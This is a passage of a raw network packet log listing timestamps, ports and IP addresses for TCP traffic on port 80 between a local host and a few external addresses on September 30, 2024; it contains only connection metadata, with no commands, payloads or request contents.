Sep 30, 2024 12:22:56.862474918 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862485886 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862490892 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862495899 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862507105 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862519026 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862520933 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862529993 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862540960 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862545013 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862552881 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862555027 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862565041 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862576008 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862586021 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862587929 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862597942 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862626076 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862636089 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862801075 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862812042 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862828016 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862837076 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862847090 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862848043 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862848043 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862858057 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862873077 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862895012 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862895012 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.863038063 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863049030 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863059044 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863069057 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863079071 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863080978 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.863090992 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863094091 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.863102913 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863112926 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863118887 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.863126040 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863136053 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863142967 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.863147974 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.863158941 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.863171101 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.863195896 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.871845961 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.876715899 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.876785040 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.876996040 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.881879091 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.277020931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:57.278166056 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:57.278175116 CEST	52541	80	192.168.2.4	45.132.206.251
Sep 30, 2024 12:22:57.499350071 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.499365091 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.499376059 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.499403000 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.499413967 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.499419928 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.499432087 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.499443054 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.499449968 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.499485016 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.501451015 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.501461983 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.501471996 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.501513004 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.501530886 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.504319906 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.504383087 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.504394054 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.504421949 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.504434109 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.504434109 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.504466057 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.504475117 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.589952946 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.589973927 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590013027 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.590039015 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.590049028 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590080023 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590084076 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.590090990 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590111017 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.590133905 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.590439081 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590450048 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590461969 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590497017 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.590568066 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590579987 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590590954 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.590627909 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.590637922 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592236996 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592248917 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592259884 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592287064 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592293978 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592305899 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592314959 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592320919 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592338085 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592360973 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592680931 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592727900 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592758894 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592770100 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592787981 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592792034 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592804909 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592807055 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592817068 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.592835903 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592835903 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.592856884 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:57.635777950 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.635799885 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.635811090 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:57.635937929 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.082884073 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.082900047 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.082911968 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.082926989 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.082961082 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.082986116 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083121061 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083133936 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083148003 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083161116 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083184958 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083226919 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083229065 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083242893 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083265066 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083266020 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083278894 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083291054 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083293915 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083302975 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083312035 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083326101 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083331108 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083358049 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083362103 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083415031 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083617926 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083638906 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083652973 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083666086 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083673954 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083681107 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083694935 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083698988 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083715916 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083715916 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083730936 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083745003 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083745956 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083758116 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083759069 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083772898 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083775997 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083786011 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083800077 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083800077 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083815098 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083817959 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083827972 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083841085 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.083843946 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083864927 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.083889961 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084178925 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084192038 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084207058 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084227085 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084232092 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084247112 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084249973 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084259987 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084275007 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084276915 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084289074 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084305048 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084307909 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084321976 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084322929 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084335089 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084342003 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084358931 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084362984 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084372997 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084394932 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084443092 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084455013 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084472895 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084494114 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084542990 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084557056 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084569931 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084583998 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084590912 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084599018 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084615946 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084624052 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.084764004 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.084800005 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.088226080 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088282108 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088295937 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088310957 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088325024 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.088351011 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.088401079 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088422060 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088443041 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088455915 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088455915 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.088470936 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.088476896 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088494062 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.088495970 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088510036 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088512897 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.088524103 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.088527918 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.088546991 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.088565111 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.089397907 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.089512110 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.089528084 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.089540958 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.089555025 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.089555025 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.089572906 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.089576960 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.089591026 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.089603901 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.089606047 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.089631081 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.089654922 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090127945 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090178967 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090365887 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090385914 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090400934 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090423107 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090451002 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090610981 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090656996 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090670109 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090688944 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090704918 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090719938 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090734005 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090738058 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090738058 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090759039 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090780973 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090785027 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090805054 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.090816975 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.090831041 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.091573000 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.091619015 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.091633081 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.091661930 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.091672897 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.091687918 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.091701984 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.091727972 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.091749907 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.091763020 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.091777086 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.091801882 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.091820002 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.092485905 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.092506886 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.092526913 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.092544079 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.092575073 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.092588902 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.092602968 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.092611074 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.092622042 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.092638969 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.092641115 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.092653990 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.092668056 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.092686892 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.092715979 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.093488932 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.093502998 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.093542099 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.093555927 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.093573093 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.093585968 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.093599081 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.093606949 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.093626022 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.093630075 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.093640089 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.093641043 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.093652964 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.093657970 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.093677044 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.093693972 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.094412088 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.094465971 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.094481945 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.094496965 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.094513893 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.094517946 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.094531059 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.094546080 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.094546080 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.094561100 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.094578981 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.094595909 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.094609976 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.094633102 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.095328093 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.095356941 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.095375061 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.095393896 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.095556974 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.095597029 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.095611095 CEST	80	52543	46.8.231.109	192.168.2.4
